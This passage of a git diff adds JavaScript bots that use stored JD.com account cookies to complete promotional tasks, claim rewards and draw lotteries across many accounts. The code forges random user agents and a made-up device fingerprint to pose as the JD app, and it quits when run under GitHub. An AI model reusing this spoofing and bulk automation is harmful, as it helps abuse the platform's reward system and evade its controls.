"https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false, 40, 40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + //await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try { + await main(); + }catch (e) { + console.log(`好像账号黑号~~~`); + } + if ($.flag) return; + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('showStarGiftInfo'); + if($.bizCode == 'MP001'){ + console.log(`本期活动结束,等待下期。。。`); + $.flag = true + return; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + console.log(`当前活动:${$.activityName},ID:${$.activityId}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + $.taskList = []; + await takeRequest('superBrandTaskList', { "source": "star_gift", "activityId": $.activityId }); + await $.wait(1000); + await doTask(); + await $.wait(500) + console.log('开始抽奖:') + await await takeRequest('superBrandTaskLottery') + +} + + +async function doTask() { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.completionFlag) { + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if ($.oneTask.assignmentType === 1) { + let subInfo = $.oneTask.ext.productsInfo || $.oneTask.ext.shoppingActivity || ''; + if (subInfo && subInfo[0]) { + for (let j = 0; j < subInfo.length; j++) { + $.runInfo = subInfo[j]; + if ($.runInfo.status !== 1) { + continue; + } + console.log(`任务:${$.runInfo.title || $.runInfo.shopName || $.runInfo.itemId},去执行`); + if ($.oneTask.assignmentName == '浏览会场') { + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 1 }); + await $.wait($.oneTask.ext.waitDuration * 1000) + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + } else { + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + await $.wait(200); + } + + } + } + } + else if ($.oneTask.assignmentType === 3) { + let subInfo = $.oneTask.ext.followShop || ''; + if (subInfo && subInfo[0]) { + for (let j = 0; j < subInfo.length; j++) { + $.runInfo = subInfo[j]; + if ($.runInfo.status !== 1) { + continue; + } + console.log(`任务:${$.runInfo.title || $.runInfo.shopName || $.runInfo.itemId},去执行`); + await takeRequest('superBrandDoTask', { "source": "star_gift", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + } + } + + } + } +} +async function takeRequest(type, bodyInfo = '') { + let url = ``; + let myRequest = ``; + if (bodyInfo) { + url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=${type}&t=${Date.now()}&body=${encodeURIComponent(JSON.stringify(bodyInfo))}`; + } else { + switch (type) { + case 'showStarGiftInfo': + url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=showStarGiftInfo&t=${Date.now()}&body=%7B%22source%22:%22star_gift%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22star_gift%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/?uuid=&client=wh5&area=22_2005_2009_36385&appid=ProductZ4Brand&functionId=superBrandTaskLottery&t=${Date.now()}&body=%7B%22source%22:%22star_gift%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22%7D`; + break; + default: + console.log(`错误${type}`); + } + } + + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'showStarGiftInfo': + $.bizCode = data.data.bizCode; + if (data.code === '0' && data.data && data.data.result) { + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if (data.code === '0') { + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if (data.code === '0') { + console.log(JSON.stringify(data.data.bizMsg)); + } else { + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if (data.code === '0' && data.data.bizCode !== 'TK000') { + $.runFlag = false; + console.log(`抽奖次数已用完`); + } else if (data.code === '0' && data.data.bizCode == 'TK000') { + if (data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList) { + if (data.data.result.rewardComponent.beanList.length > 0) { + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + } else { + $.runFlag = false; + console.log(`抽奖失败`); + } + //console.log(JSON.stringify(data)); + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin': `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://prodev.m.jd.com/mall/active/31GFSKyRbD3ehsHih2rQKArxfb8c/index.html`, + 'Host': `api.m.jd.com`, + 'User-Agent': UA, + 'Accept-Language': `zh-cn`, + 'Accept-Encoding': `gzip, deflate, br` + }; + return { url: url, headers: headers, body: `` }; +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_supermh.js b/jd_supermh.js new file mode 100644 index 0000000..9ba238c --- /dev/null +++ b/jd_supermh.js @@ -0,0 +1,345 @@ +/* +京东超级盲盒 +活动入口:京东APP --我的--超级盲盒 +更新时间:2022-06-03 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盲盒 +0 20 3,17 6 * jd_supermh.js, tag=京东超级盲盒, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true +*/ + +const $ = new Env('京东超级盲盒'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +const linkId = 'Jim-Gu6R_lyd4LT6nz69ow'; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + UA = await getUa(); + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await run(); + } + } + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + info = await starShopPageInfo(); + if (info.planDrawTime <= (new Date).getTime()) { + console.log('开始抽奖拉!'); + await starShopDraw() + } else { + console.log('还没有到开奖时间'); + } + if (info.currentGoodRoleValue != info.goodRoleValue) { + await getTaskList(); + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle} 签到`) + await apDoTask(task.id, task.taskType, undefined); + // $.log(`${task.taskTitle} 领取签到奖励`) + // await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_CHANNEL') { + $.log(`${task.taskTitle} `) + await apDoTask(task.id, task.taskType, encodeURIComponent(task.taskSourceUrl)); + // $.log(`${task.taskTitle} 领取奖励`) + // await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT') { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + if (!resp.success) { + $.log(`${task.taskTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + await $.wait(1000) + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + if (!resp.success) { + $.log(`${task.taskTitle} 领取完成!`) + break + } + } + } + } + } else { + console.log('你已经做完任务等待开奖吧!'); + } + } catch (error) { + console.log(error) + } +} + +//任务列表 +function getTaskList() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apTaskList', { "linkId": linkId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + if (data.success) { + $.log('=== 任务列表 start ===') + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apDoTask', { "taskType": taskType, "taskId": taskId, "channel": 4, "linkId": linkId, "itemId": itemId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code == 0) { + console.log('任务完成,成功!'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apTaskDetail', { "taskType": taskType, "taskId": taskId, "channel": 4, "linkId": linkId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`apTaskDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl('apTaskDrawAward', { "taskType": taskType, "taskId": taskId, "linkId": linkId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`apTaskDrawAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function starShopPageInfo() { + body = { "taskId": "", "encryptionPin": "", "linkId": linkId } + opt = { + url: `https://api.m.jd.com/?functionId=starShopPageInfo&appid=activities_platform&body=${encodeURIComponent(JSON.stringify(body))}&_t=${(new Date).getTime()}&cthr=1`, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://pro.m.jd.com/', + 'Referer': `https://pro.m.jd.com/`, + 'Cookie': cookie + "cid=3", + } + } + return new Promise(resolve => { + $.get(opt, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`starShopPageInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code == 0) { + res = data.data + } else { + console.log(`失败原因: ${data.errMsg}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} + +function starShopDraw() { + body = { "linkId": linkId } + opt = { + url: `https://api.m.jd.com/?functionId=starShopDraw&appid=activities_platform&body=${encodeURIComponent(JSON.stringify(body))}&_t=${(new Date).getTime()}&cthr=1`, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://pro.m.jd.com/', + 'Referer': `https://pro.m.jd.com/`, + 'Cookie': cookie + "cid=3", + } + } + return new Promise(resolve => { + $.get(opt, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`starShopDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code == 0) { + console.log(data.data); + } { + console.log(`失败原因: ${data.errMsg}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostClientActionUrl(functionId, body, time = (new Date).getTime(), h5st) { + bodyinfo = `${functionId ? `functionId=${functionId}` : ``}&appid=activities_platform&body=${JSON.stringify(body)}&t=${time}&cthr=1` + if (h5st) { + bodyinfo += `&h5st=${encodeURIComponent(h5st)}` + } + return { + url: `https://api.m.jd.com`, + body: bodyinfo, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://pro.m.jd.com/', + 'Referer': `https://pro.m.jd.com/`, + 'Cookie': cookie + "cid=3", + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +async function getUa() { + for (var t = "", n = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", r = 0; r < 16; r++) { + var i = Math.round(Math.random() * (n.length - 1)); + t += n.substring(i, i + 1) + } + uuid = Buffer.from(t, 'utf8').toString('base64') + ep = encodeURIComponent(JSON.stringify({ "hdid": "JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw=", "ts": (new Date).getTime(), "ridx": -1, "cipher": { "sv": "CJK=", "ad": uuid, "od": "CNKmCNKmCNKjCNKmCM0mCNKmBJKmCNKjCNKmCNKmCNKmCNKm", "ov": "Ctu=", "ud": uuid }, "ciphertype": 5, "version": "1.2.0", "appname": "com.jd.jdlite" })) + return `jdltapp;android;3.8.16;;;appBuild/2314;ef/1;ep/${ep};Mozilla/5.0 (Linux; Android 10; WLZ-AN01 Build/HUAWEIWLZ-AN01; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045837 Mobile Safari/537.36` +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } 